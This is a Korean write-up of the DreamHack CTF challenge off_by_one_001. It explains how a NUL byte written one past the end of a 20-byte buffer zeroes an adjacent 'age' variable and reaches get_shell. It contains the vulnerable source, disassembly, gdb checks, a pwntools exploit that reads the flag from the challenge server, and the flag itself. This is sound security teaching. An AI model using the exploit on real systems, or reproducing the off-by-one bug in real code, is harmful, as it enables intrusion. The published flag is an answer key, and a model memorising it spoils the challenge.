[๐ŸŒฑ Sprout] ํ•œ ๋ฐ”์ดํŠธ๋งŒ ๋„˜์ณ๋„ ์…ธ์ด ์—ด๋ฆฐ๋‹ค โ€” DreamHack off_by_one_001 ํ’€์ด

2026-07-09ยท1๋ถ„ ์ฝ๊ธฐยท

[๐ŸŒฑ Sprout] ํ•œ ๋ฐ”์ดํŠธ๋งŒ ๋„˜์ณ๋„ ์…ธ์ด ์—ด๋ฆฐ๋‹ค โ€” DreamHack off_by_one_001 ํ’€์ด

read_str ์•ˆ์˜ ptr[len] = 0 ์ด ๋”ฑ ํ•œ ๋ฐ”์ดํŠธ๋ฅผ ๋ฒ„ํผ ๋ฐ–์œผ๋กœ ํ˜๋ฆฐ๋‹ค. 20๋ฐ”์ดํŠธ๋ฅผ ์ •ํ™•ํžˆ ์ฑ„์›Œ ๋„ฃ์œผ๋ฉด ๊ทธ NUL ์ด ๋ฐ”๋กœ ๋’ค์— ๋ถ™์€ int age ์˜ ์ตœํ•˜์œ„ ๋ฐ”์ดํŠธ๋ฅผ 0์œผ๋กœ ๋ฎ๊ณ , age == 0 ๋ถ„๊ธฐ๊ฐ€ ์—ด๋ฆฌ๋ฉฐ get_shell ์ด ์‹คํ–‰๋œ๋‹ค. ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ํ•œ ๋ฐ”์ดํŠธ๋กœ ๋ถ„๊ธฐ ํ•˜๋‚˜๋ฅผ ๋’ค์ง‘๋Š” ์ „ํ˜•์ ์ธ off-by-one.

๋ฌธ์ œ: DreamHack โ€” off_by_one_001 ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐ŸŒฑ Sprout FLAG: DH{343bab3ef81db6f26ee5f1362942cd79}

์ด๋ฆ„์„ ๋ฐ›๋Š” ์ž…๋ ฅ ํ•จ์ˆ˜ ํ•˜๋‚˜์— ptr[len] = 0 ์ด ๋“ค์–ด ์žˆ๋‹ค. ์–ธ๋œป ํ‰๋ฒ”ํ•ด ๋ณด์ด๋Š” ๋ฌธ์ž์—ด ์ข…๋‹จ ์ฒ˜๋ฆฌ์ธ๋ฐ, len ์ด ๋ฒ„ํผ ํฌ๊ธฐ์™€ ๊ฐ™์•„์ง€๋Š” ์ˆœ๊ฐ„ ๋„ ๋ฐ”์ดํŠธ๊ฐ€ ๋ฒ„ํผ ๋ฐ–์œผ๋กœ ํ•œ ์นธ ์‚์ ธ๋‚˜๊ฐ„๋‹ค. ๊ทธ ํ•œ ์นธ์ด ํ•˜ํ•„ ๋ฐ”๋กœ ๋’ค์— ์žˆ๋Š” int age ์˜ ์ตœํ•˜์œ„ ๋ฐ”์ดํŠธ๋ผ, ๊ฐ’์„ 1์—์„œ 0์œผ๋กœ ๋ฐ”๊ฟ” ๋†“๋Š”๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ฝ”๋“œ๋Š” age == 0 ์ด๋ฉด ์…ธ์„ ์ค€๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…off_by_one_001
๋‚œ์ด๋„๐ŸŒฑ Sprout
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต ํŒŒ์ผoff_by_one_001 (ELF 32-bit), off_by_one_001.c
์„œ๋ฒ„host3.dreamhack.games:PORT (nc)
ํ•ต์‹ฌ ์ทจ์•ฝ์ off-by-one โ€” ptr[len]=0 ์ด ์ธ์ ‘ ๋ณ€์ˆ˜ age ์˜ LSB ๋ฅผ 0์œผ๋กœ ๋ฎ์Œ

ํ’€์ด ํ๋ฆ„์€ ์งง๋‹ค. ์†Œ์Šค๋ฅผ ์ฝ์–ด read_str ์˜ ์ข…๋‹จ ์ฒ˜๋ฆฌ์—์„œ ํ•œ ๋ฐ”์ดํŠธ๊ฐ€ ์ƒˆ๋Š” ๊ฑธ ํ™•์ธํ•˜๊ณ , ์Šคํƒ์—์„œ name ๊ณผ age ๊ฐ€ ์ •ํ™•ํžˆ 20๋ฐ”์ดํŠธ ๋–จ์–ด์ ธ ์žˆ๋Š”์ง€ ๋””์Šค์–ด์…ˆ๋ธ”๋กœ ์žฌ๊ณ , age == 0 ์„ ๋งŒ๋“ค์–ด get_shell ๋กœ ๋“ค์–ด๊ฐ„๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” off-by-one ์ด ์™œ ์œ„ํ—˜ํ•œ๊ฐ€

off-by-one ์€ ๊ฒฝ๊ณ„๋ฅผ ๋”ฑ ํ•˜๋‚˜ ๋ฒ—์–ด๋‚˜๋Š” ์‹ค์ˆ˜๋‹ค. ๋ฐฐ์—ด ์ธ๋ฑ์Šค๋ฅผ <= ๋กœ ๋Œ๋ฆฐ๋‹ค๋“ ๊ฐ€, ํฌ๊ธฐ n ๋ฒ„ํผ์— n ๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šด ๋’ค buf[n] ์— ๋„์„ ๋„ฃ๋Š”๋‹ค๋“ ๊ฐ€. ๋„˜์น˜๋Š” ์–‘์ด ๊ฒจ์šฐ 1๋ฐ”์ดํŠธ๋ผ ๋ฆฌํ„ด ์ฃผ์†Œ๊นŒ์ง€๋Š” ๋ชป ๊ฑด๋“œ๋ฆฌ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๊ณ , ๊ทธ๋ž˜์„œ ๋Œ€์ˆ˜๋กญ์ง€ ์•Š๊ฒŒ ๋„˜์–ด๊ฐ€๊ธฐ ์‰ฝ๋‹ค.

ํ•˜์ง€๋งŒ ๊ทธ 1๋ฐ”์ดํŠธ๊ฐ€ ๋ฐ”๋กœ ๋’ค์— ๋ถ™์€ ๋‹ค๋ฅธ ๋ณ€์ˆ˜๋ฅผ ๊ฑด๋“œ๋ฆฐ๋‹ค๋ฉด ์ด์•ผ๊ธฐ๊ฐ€ ๋‹ฌ๋ผ์ง„๋‹ค. ํŠนํžˆ ๋ฆฌํ‹€์—”๋””์–ธ์—์„œ ์ •์ˆ˜์˜ ์ตœํ•˜์œ„ ๋ฐ”์ดํŠธ(LSB)๋ฅผ 0์œผ๋กœ ๋งŒ๋“ค๋ฉด ์ž‘์€ ๊ฐ’์€ ํ†ต์งธ๋กœ 0์ด ๋œ๋‹ค. 1 โ†’ 0, 256 โ†’ 0 ์ฒ˜๋Ÿผ. ๋ถ„๊ธฐ ์กฐ๊ฑด์ด ๊ทธ ๋ณ€์ˆ˜ ํ•˜๋‚˜์— ๊ฑธ๋ ค ์žˆ์œผ๋ฉด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ํ•œ ๋ฐ”์ดํŠธ๋กœ ํ๋ฆ„์„ ํ†ต์งธ๋กœ ๋’ค์ง‘์„ ์ˆ˜ ์žˆ๋‹ค.

์ด ๋ฌธ์ œ๋Š” ๊ทธ ๊ตฌ๋„๋ฅผ ๊ต๊ณผ์„œ์ฒ˜๋Ÿผ ๋ณด์—ฌ์ค€๋‹ค. char name[20] ๋ฐ”๋กœ ๋’ค์— int age = 1 ์ด ์žˆ๊ณ , name[20] ์— ๋„์ด ์จ์ง€๋ฉด age ์˜ LSB(0x01)๊ฐ€ 0x00 ์ด ๋œ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์ œ๊ณต๋œ ์†Œ์Šค๋Š” ์ด๊ฒŒ ์ „๋ถ€๋‹ค.

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';        // <-- len == size ๋ฉด ptr[size] ์— ์จ์ง„๋‹ค (off-by-one)
}
 
void get_shell()
{
    system("/bin/sh");
}
 
int main()
{
    char name[20];
    int age = 1;
 
    initialize();
 
    printf("Name: ");
    read_str(name, 20);
 
    printf("Are you baby?");
 
    if (age == 0)
        get_shell();
    else {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }
    return 0;
}

read_str(name, 20) ์€ ์ตœ๋Œ€ 20๋ฐ”์ดํŠธ๋ฅผ ์ฝ๋Š”๋‹ค. read ๋Š” ์‹ค์ œ๋กœ ์ฝ์€ ๋ฐ”์ดํŠธ ์ˆ˜๋ฅผ ๋Œ๋ ค์ฃผ๋Š”๋ฐ, ์ž…๋ ฅ์„ ์ •ํ™•ํžˆ 20๋ฐ”์ดํŠธ ๋ณด๋‚ด๋ฉด len == 20 ์ด ๋˜๊ณ , ๋งˆ์ง€๋ง‰ ์ค„ ptr[len] = '\0' ์€ name[20] ์— ๋„์„ ์“ด๋‹ค. name ์€ ํฌ๊ธฐ 20์งœ๋ฆฌ ๋ฐฐ์—ด์ด๋‹ˆ name[20] ์€ ์ด๋ฏธ ๋ฐฐ์—ด ๋ฐ”๊นฅ์ด๋‹ค.

get_shell ์ด ์†Œ์Šค์— ๊ทธ๋Œ€๋กœ ๋ณด์ด์ง€๋งŒ, ์ด๊ฑธ ํ˜ธ์ถœํ•˜๋Š” ์œ ์ผํ•œ ๊ธธ์€ age == 0 ์ด๋‹ค. age ๋Š” 1๋กœ ์ดˆ๊ธฐํ™”๋˜๊ณ  ์ฝ”๋“œ ์–ด๋””์„œ๋„ ๋‹ค์‹œ ๋Œ€์ž…ํ•˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์šฐ๋ฆฌ๊ฐ€ ์†๋Œˆ ์ˆ˜ ์žˆ๋Š” ๊ฑด ์ € ์ƒˆ์–ด ๋‚˜๊ฐ€๋Š” ํ•œ ๋ฐ”์ดํŠธ๋ฟ์ด๋‹ค.

๋ฐ”์ด๋„ˆ๋ฆฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ•๋ถ€ํ„ฐ ํ™•์ธํ•œ๋‹ค.

file off_by_one_001 && pwn checksec off_by_one_001 && nm off_by_one_001 | grep -E " T (main|read_str|get_shell)| U system"

file ยท pwn checksec ยท nm โ€” 32๋น„ํŠธ ELF, NX enabled, No canary, No PIE, get_shell ์‹ฌ๋ณผ ์กด์žฌ
file ยท pwn checksec ยท nm โ€” 32๋น„ํŠธ ELF, NX enabled, No canary, No PIE, get_shell ์‹ฌ๋ณผ ์กด์žฌ

NX ๊ฐ€ ์ผœ์ ธ ์žˆ์–ด ์Šคํƒ ์…ธ์ฝ”๋“œ๋Š” ๋ชป ์“ฐ๊ณ , ์นด๋‚˜๋ฆฌ๋Š” ์—†๋‹ค. ์–ด์ฐจํ”ผ ์šฐ๋ฆฌ๋Š” ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์ง€์—ญ ๋ณ€์ˆ˜ ํ•œ ๋ฐ”์ดํŠธ๋งŒ ๊ฑด๋“œ๋ฆด ๊ฑฐ๋ผ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์€ ํฌ๊ฒŒ ์ƒ๊ด€์—†๋‹ค. get_shell ์‹ฌ๋ณผ์ด ๊ทธ๋Œ€๋กœ ์žˆ์œผ๋‹ˆ system("/bin/sh") ๋„ ์ด๋ฏธ ์ค€๋น„๋ผ ์žˆ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ํ•œ ๋ฐ”์ดํŠธ NUL ์ด age ๋ฅผ 0 ์œผ๋กœ

๋…ธ๋ฆด ๊ณณ์€ name ๊ณผ age ์˜ ์œ„์น˜ ๊ด€๊ณ„๋‹ค. ๋‘˜์ด ์Šคํƒ์—์„œ ์–ผ๋งˆ๋‚˜ ๋–จ์–ด์ ธ ์žˆ๋А๋ƒ๊ฐ€ ์ „๋ถ€๋‹ค.

์Šคํƒ ๋ ˆ์ด์•„์›ƒ โ€” name[20] ๋ฐ”๋กœ ๋’ค age, name[20] ์ด age ์˜ LSB ์ž๋ฆฌ์™€ ๊ฒน์นœ๋‹ค
์Šคํƒ ๋ ˆ์ด์•„์›ƒ โ€” name[20] ๋ฐ”๋กœ ๋’ค age, name[20] ์ด age ์˜ LSB ์ž๋ฆฌ์™€ ๊ฒน์นœ๋‹ค

๋””์Šค์–ด์…ˆ๋ธ”๋กœ ์‹ค์ œ ์˜คํ”„์…‹์„ ์žฌ๋ณธ๋‹ค. ๋จผ์ € read_str ์˜ ์ข…๋‹จ ์ฒ˜๋ฆฌ ๋ถ€๋ถ„.

objdump -d -M intel off_by_one_001 --start-address=0x8048609 --stop-address=0x8048641

objdump โ€” read_str: add eax,edx(=ptr+len) ๋’ค mov BYTE PTR [eax],0x0 ์ด off-by-one ์“ฐ๊ธฐ
objdump โ€” read_str: add eax,edx(=ptr+len) ๋’ค mov BYTE PTR [eax],0x0 ์ด off-by-one ์“ฐ๊ธฐ

mov edx,[ebp-0x4] ๋กœ len ์„, mov eax,[ebp+0x8] ๋กœ ptr ์„ ๊ฐ€์ ธ์™€ add eax,edx ๋กœ ptr+len ์ฃผ์†Œ๋ฅผ ๋งŒ๋“  ๋‹ค์Œ mov BYTE PTR [eax],0x0 ์„ ์‹คํ–‰ํ•œ๋‹ค. ์ด๊ฒŒ ์†Œ์Šค์˜ ptr[len] = '\0' ์ด๊ณ , len == 20 ์ด๋ฉด ptr[20] ์— ๋„์„ ์“ด๋‹ค.

์ด์ œ main ์—์„œ name ๊ณผ age ์˜ ์˜คํ”„์…‹์„ ๋ณธ๋‹ค.

objdump -d -M intel off_by_one_001 --start-address=0x8048654 --stop-address=0x804869b

objdump โ€” main: age=[ebp-0x4]=1, name=[ebp-0x18], push 0x14(size=20), cmp [ebp-0x4],0 ๋’ค get_shell
objdump โ€” main: age=[ebp-0x4]=1, name=[ebp-0x18], push 0x14(size=20), cmp [ebp-0x4],0 ๋’ค get_shell

  • mov DWORD PTR [ebp-0x4],0x1 โ†’ age ๋Š” ebp-0x4, ์ดˆ๊ธฐ๊ฐ’ 1
  • lea eax,[ebp-0x18] โ†’ name ์€ ebp-0x18
  • push 0x14 โ†’ read_str ์— ๋„˜๊ธฐ๋Š” size ๋Š” 0x14 = 20
  • cmp DWORD PTR [ebp-0x4],0x0 โ†’ age == 0 ๊ฒ€์‚ฌ
  • call get_shell

name(ebp-0x18) ๊ณผ age(ebp-0x4) ์˜ ๊ฑฐ๋ฆฌ๋Š” 0x18 - 0x4 = 0x14 = 20. ๊ทธ๋Ÿฌ๋‹ˆ name[20] ์€ ์ •ํ™•ํžˆ age ์˜ ์‹œ์ž‘ ๋ฐ”์ดํŠธ, ๋ฆฌํ‹€์—”๋””์–ธ์—์„œ age ์˜ LSB ๋‹ค. age = 0x00000001 ์˜ LSB(0x01)๋ฅผ 0x00 ์œผ๋กœ ๋ฎ์œผ๋ฉด ๊ฐ’ ์ „์ฒด๊ฐ€ 0x00000000 ์ด ๋œ๋‹ค.

์ •์ ์œผ๋กœ ์งš์€ ์˜คํ”„์…‹์ด ์‹คํ–‰ ์ค‘์—๋„ ๋งž๋Š”์ง€ gdb ๋กœ ํ™•์ธํ•œ๋‹ค. read_str ํ˜ธ์ถœ ์ง์ „(0x8048679)๊ณผ ๋ฐ˜ํ™˜ ์งํ›„(0x804867e)์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ๊ณ  ์ž…๋ ฅ์œผ๋กœ 'A'*20 ์„ ํ˜๋ ค ๋„ฃ์—ˆ๋‹ค.

# verify.gdb
break *0x8048679
break *0x804867e
run < /tmp/obo_input   # 'A' * 20
printf "age = %d\n", *(int*)($ebp-0x4)
gdb -q -batch -x verify.gdb ./off_by_one_001

gdb ๋Ÿฐํƒ€์ž„ ํ™•์ธ โ€” name ์€ 0xffffcb00, age ๋Š” 0xffffcb14 ๋กœ ์ •ํ™•ํžˆ 0x14 ์ฆ‰ 20๋ฐ”์ดํŠธ ๋–จ์–ด์ ธ ์žˆ๊ณ , read_str ํ˜ธ์ถœ ์ „ age=1 ์ด ๋ฐ˜ํ™˜ ์งํ›„ 0 ์œผ๋กœ ๋ฐ”๋€๋‹ค
gdb ๋Ÿฐํƒ€์ž„ ํ™•์ธ โ€” name ์€ 0xffffcb00, age ๋Š” 0xffffcb14 ๋กœ ์ •ํ™•ํžˆ 0x14 ์ฆ‰ 20๋ฐ”์ดํŠธ ๋–จ์–ด์ ธ ์žˆ๊ณ , read_str ํ˜ธ์ถœ ์ „ age=1 ์ด ๋ฐ˜ํ™˜ ์งํ›„ 0 ์œผ๋กœ ๋ฐ”๋€๋‹ค

read_str ํ˜ธ์ถœ ์ง์ „์—๋Š” age = 1 ์ด์—ˆ๋‹ค๊ฐ€, 20๋ฐ”์ดํŠธ๋ฅผ ๋„ฃ๊ณ  ๋ฐ˜ํ™˜๋œ ์งํ›„์—๋Š” age = 0 ์œผ๋กœ ๋ฐ”๋€Œ์–ด ์žˆ๋‹ค. name ๊ณผ age ์ฃผ์†Œ ์ฐจ์ด๋„ 0xffffcb14 - 0xffffcb00 = 0x14 ๋กœ ์ •ํ™•ํžˆ 20. ์˜คํ”„์…‹๋„, off-by-one ๋ฐœ๋™๋„ ๋Ÿฐํƒ€์ž„์—์„œ ๊ทธ๋Œ€๋กœ ํ™•์ธ๋œ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” get_shell ์ด ๋ณด์ด๋‹ˆ ret2win ์•„๋‹๊นŒ

get_shell ์‹ฌ๋ณผ์ด ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋ผ ์žˆ์–ด์„œ ์ฒ˜์Œ์—” ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ get_shell ์ฃผ์†Œ๋กœ ๋ฎ๋Š” ret2win ์„ ๋– ์˜ฌ๋ ธ๋‹ค. ํ•˜์ง€๋งŒ ์ด ๋ฌธ์ œ์—์„œ๋Š” ๊ทธ ๊ธธ์ด ๋ง‰ํ˜€ ์žˆ๋‹ค.

read_str ์ด ์ƒˆ๋Š” ๊ฑด ๋”ฑ ํ•œ ๋ฐ”์ดํŠธ๋‹ค. ๋ฆฌํ„ด ์ฃผ์†Œ๋Š” name(ebp-0x18) ์—์„œ ebp+0x4 ๊นŒ์ง€, ์ €์žฅ๋œ ebp 4๋ฐ”์ดํŠธ๋ฅผ ์ง€๋‚˜ ํ›จ์”ฌ ๋’ค์— ์žˆ๋‹ค. ํ•œ ๋ฐ”์ดํŠธ๋กœ๋Š” ๊ฑฐ๊ธฐ๊นŒ์ง€ ๋‹ฟ์ง€ ๋ชปํ•œ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ์ƒˆ๋Š” ๊ฐ’๋„ ์šฐ๋ฆฌ๊ฐ€ ๊ณ ๋ฅด๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ๋ฌด์กฐ๊ฑด 0x00 ์ด๋‹ค.

์ฒซ ์ž…๋ ฅ ๋’ค์— else ๋กœ ๋น ์ง€๋ฉด read(0, name, 20) ์ด ํ•œ ๋ฒˆ ๋” ์žˆ๊ธด ํ•œ๋ฐ, ์ด๊ฑด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ์—†๋Š” ์ •์งํ•œ 20๋ฐ”์ดํŠธ read ๋ผ ์—ฌ๊ธฐ์„œ ๋ญ˜ ๋” ํ•˜๊ธด ์–ด๋ ต๋‹ค. ์• ์ดˆ์— ์šฐ๋ฆฌ๊ฐ€ ๋…ธ๋ ค์•ผ ํ•˜๋Š” ๊ฑด ๊ทธ else ๊ฐ€ ์•„๋‹ˆ๋ผ if (age == 0) ์ชฝ์ด๋‹ค. ๊ฒฐ๊ตญ ๋‹ต์€ ๋ฆฌํ„ด ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋ผ ๋ฐ”๋กœ ๋’ค ์ง€์—ญ ๋ณ€์ˆ˜ ํ•œ ๋ฐ”์ดํŠธ์˜€๋‹ค.



๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ ์„ค๊ณ„

์ •๋ฆฌํ•˜๋ฉด ์กฐ๊ฑด์€ ๋‹จ ํ•˜๋‚˜. read ๊ฐ€ 20์„ ๋Œ๋ ค์ฃผ๊ฒŒ ๋งŒ๋“ค๋ฉด ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋ ค๋ฉด Name: ์ž…๋ ฅ์œผ๋กœ ์ •ํ™•ํžˆ 20๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ธ๋‹ค.

์™œ ํ•˜ํ•„ 20์ธ๊ฐ€. read(0, ptr, 20) ์€ ์ตœ๋Œ€ 20๊นŒ์ง€ ์ฝ๋Š”๋‹ค. 19๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๋ฉด len = 19, ptr[19] = 0 ์ด๋ผ name ๋ฐฐ์—ด ์•ˆ์—์„œ ๋๋‚˜ age ๋Š” ๊ทธ๋Œ€๋กœ 1์ด๋‹ค. 21๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ด๋„ read ๋Š” 20๊นŒ์ง€๋งŒ ์ฝ์–ด len = 20 ์ด ๋˜๊ธด ํ•˜์ง€๋งŒ, ์–ด์ฐจํ”ผ ํ•„์š”ํ•œ ๊ฑด 20๋ฐ”์ดํŠธ๊ฐ€ ํ•œ ๋ฒˆ์— ๋„์ฐฉํ•ด read ๊ฐ€ 20์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒƒ๋ฟ์ด๋‹ค. ๊ทธ๋ž˜์„œ ๊ฐœํ–‰ ์—†์ด ๋”ฑ 20๋ฐ”์ดํŠธ๋ฅผ send ํ•œ๋‹ค. ๊ฐœํ–‰์„ ๋ถ™์ด๋ฉด ๊ทธ๊ฒŒ 21๋ฒˆ์งธ ๋ฐ”์ดํŠธ๊ฐ€ ๋˜์–ด ๋ฒ„๋ฆฌ๋‹ˆ ๋„ฃ์ง€ ์•Š๋Š”๋‹ค.

๋กœ์ปฌ์—์„œ ๋จผ์ € ๋ฉ”์ปค๋‹ˆ์ฆ˜๋งŒ ํ™•์ธํ–ˆ๋‹ค. ์…ธ์ด ์‹ค์ œ๋กœ ์—ด๋ฆฌ๋Š”์ง€ id ๋กœ ๋ณธ๋‹ค(ํ”Œ๋ž˜๊ทธ๋Š” ์›๊ฒฉ ์„œ๋ฒ„์—๋งŒ ์žˆ์œผ๋‹ˆ ๋กœ์ปฌ์€ ์…ธ ํš๋“๋งŒ ๊ฒ€์ฆ).

from pwn import *
p = process("./extracted/off_by_one_001")
p.recvuntil(b"Name: ")
p.send(b"A" * 20)                # ์ •ํ™•ํžˆ 20๋ฐ”์ดํŠธ โ†’ read ๊ฐ€ 20 ๋ฐ˜ํ™˜
p.sendline(b"id; echo 'shell OK (age forced to 0 -> get_shell)'")

solve.py local ์‹คํ–‰ โ€” 20๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ด์ž read_str ์ด len=20 ์„ ์ถœ๋ ฅํ•˜๊ณ  ๋„˜์นœ ๋„ ํ•œ ๋ฐ”์ดํŠธ๊ฐ€ age ๋ฅผ 0์œผ๋กœ ๋งŒ๋“ค์–ด get_shell ์ด ์—ด๋ ค id ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋Œ์•˜๋‹ค
solve.py local ์‹คํ–‰ โ€” 20๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ด์ž read_str ์ด len=20 ์„ ์ถœ๋ ฅํ•˜๊ณ  ๋„˜์นœ ๋„ ํ•œ ๋ฐ”์ดํŠธ๊ฐ€ age ๋ฅผ 0์œผ๋กœ ๋งŒ๋“ค์–ด get_shell ์ด ์—ด๋ ค id ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋Œ์•˜๋‹ค

ํ”„๋กฌํ”„ํŠธ ๋’ค์— ์ฐํžŒ 20 ์ด read_str ์•ˆ์˜ printf("%d", len) ์ถœ๋ ฅ์ด๋‹ค. len = 20 ์ด ๋‚˜์™”๋‹ค๋Š” ๊ฑด off-by-one ์ด ๋ฐœ๋™ํ–ˆ๋‹ค๋Š” ๋œป์ด๊ณ , ์ด์–ด์„œ id ๊ฐ€ ์ •์ƒ ์‹คํ–‰๋์œผ๋‹ˆ age ๊ฐ€ 0์ด ๋˜์–ด get_shell ๋กœ ๋“ค์–ด๊ฐ„ ๊ฒŒ ๋งž๋‹ค.


๐Ÿš€ Full Exploit

๋กœ์ปฌ๊ณผ ์›๊ฒฉ์˜ ์ฐจ์ด๋Š” ์…ธ์„ ์žก์€ ๋’ค ๋ฌด์—‡์„ ์ฝ๋А๋ƒ๋ฟ์ด๋‹ค. ์›๊ฒฉ์—์„œ๋Š” ํ”Œ๋ž˜๊ทธ ํŒŒ์ผ์„ ์ฝ๋Š”๋‹ค.

#!/usr/bin/env python3
# off_by_one_001 โ€” read_str ์˜ ptr[len]='\0' off-by-one ์œผ๋กœ age LSB ๋ฅผ 0 ์œผ๋กœ
import sys
from pwn import *
 
context.arch = "i386"
HOST, PORT = "host3.dreamhack.games", 13389
 
LOCAL = len(sys.argv) > 1 and sys.argv[1] == "local"
p = process("./extracted/off_by_one_001") if LOCAL else remote(HOST, PORT)
 
p.recvuntil(b"Name: ")
 
# ์ •ํ™•ํžˆ 20๋ฐ”์ดํŠธ โ†’ read() ๊ฐ€ 20 ๋ฐ˜ํ™˜ โ†’ ptr[20]='\0' ๋กœ age ์˜ LSB ๋ฅผ 0 ์œผ๋กœ
p.send(b"A" * 20)
 
if LOCAL:
    p.sendline(b"id; echo 'shell OK (age forced to 0 -> get_shell)'")
else:
    p.sendline(b"cat /flag* flag* 2>/dev/null; id")
p.sendline(b"echo ===END===")
 
print(p.recvuntil(b"===END===", timeout=5).decode(errors="replace"))
p.close()

solve.py ์›๊ฒฉ ์‹คํ–‰ โ€” 20Are you baby? ๋’ค์— ์…ธ์ด ์—ด๋ฆฌ๊ณ  cat ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฑ‰์€ ๋‹ค์Œ id ๊ฐ€ uid=off_by_one_001 ์„ ์ฐ์–ด ๊ถŒํ•œ๊นŒ์ง€ ํ™•์ธ๋œ๋‹ค
solve.py ์›๊ฒฉ ์‹คํ–‰ โ€” 20Are you baby? ๋’ค์— ์…ธ์ด ์—ด๋ฆฌ๊ณ  cat ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฑ‰์€ ๋‹ค์Œ id ๊ฐ€ uid=off_by_one_001 ์„ ์ฐ์–ด ๊ถŒํ•œ๊นŒ์ง€ ํ™•์ธ๋œ๋‹ค

์›๊ฒฉ์—์„œ๋„ ๋˜‘๊ฐ™์ด 20Are you baby? ๋’ค์— ์…ธ์ด ์—ด๋ฆฌ๊ณ , cat ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฑ‰๋Š”๋‹ค.

DH{343bab3ef81db6f26ee5f1362942cd79}


๐Ÿ“ ๊ฒฐ๋ก 

ํ•œ ๋ฐ”์ดํŠธ๋„ ๊ฒฝ๊ณ„ ๋ฐ–์ด๋ฉด ๋์ด๋‹ค.

์ด ๋ฌธ์ œ์˜ ๋ฒ„๊ทธ๋Š” ptr[len] = '\0' ํ•œ ์ค„์ด๋‹ค. read ๊ฐ€ ๋ฒ„ํผ ํฌ๊ธฐ์™€ ๊ฐ™์€ ๊ฐ’์„ ๋Œ๋ ค์ค„ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฑธ ์žŠ๊ณ , ์ข…๋‹จ ๋„์„ ptr[len] ์— ๊ทธ๋Œ€๋กœ ์จ ๋ฒ„๋ ธ๋‹ค. ๋„˜์น˜๋Š” ๊ฑด ๊ฒจ์šฐ 1๋ฐ”์ดํŠธ์ง€๋งŒ ๊ทธ ์ž๋ฆฌ๊ฐ€ ์˜† ๋ณ€์ˆ˜์˜ LSB ๋ผ ๊ฐ’ ํ•˜๋‚˜๊ฐ€ ํ†ต์งธ๋กœ ๋’ค์ง‘ํ˜”๋‹ค.

๋ฒ„ํผ ์ข…๋‹จ์€ ํฌ๊ธฐ๋ฅผ ๋„˜์ง€ ์•Š๊ฒŒ.

read ๊ฒฐ๊ณผ๋กœ ๋„์„ ๋ถ™์ผ ๊ฑฐ๋ฉด ๋ฒ„ํผ๋ฅผ ํ•œ ์นธ ๋” ํฌ๊ฒŒ ์žก๊ฑฐ๋‚˜(char name[21]), ์ฝ๋Š” ํฌ๊ธฐ๋ฅผ size-1 ๋กœ ์ œํ•œํ•ด ptr[len] ์ด ์ ˆ๋Œ€ ๋ฐฐ์—ด ๋ฐ–์œผ๋กœ ๋ชป ๋‚˜๊ฐ€๊ฒŒ ํ•ด์•ผ ํ•œ๋‹ค. read(0, ptr, size-1) ์ด์—ˆ๋‹ค๋ฉด ์ด ๋ฒ„๊ทธ๋Š” ์—†์—ˆ๋‹ค.

๋ถ„๊ธฐ๋ฅผ ์ขŒ์šฐํ•˜๋Š” ๊ฐ’์€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์‚ฌ๊ฑฐ๋ฆฌ์—์„œ ๋–ผ์–ด ๋†“๊ธฐ.

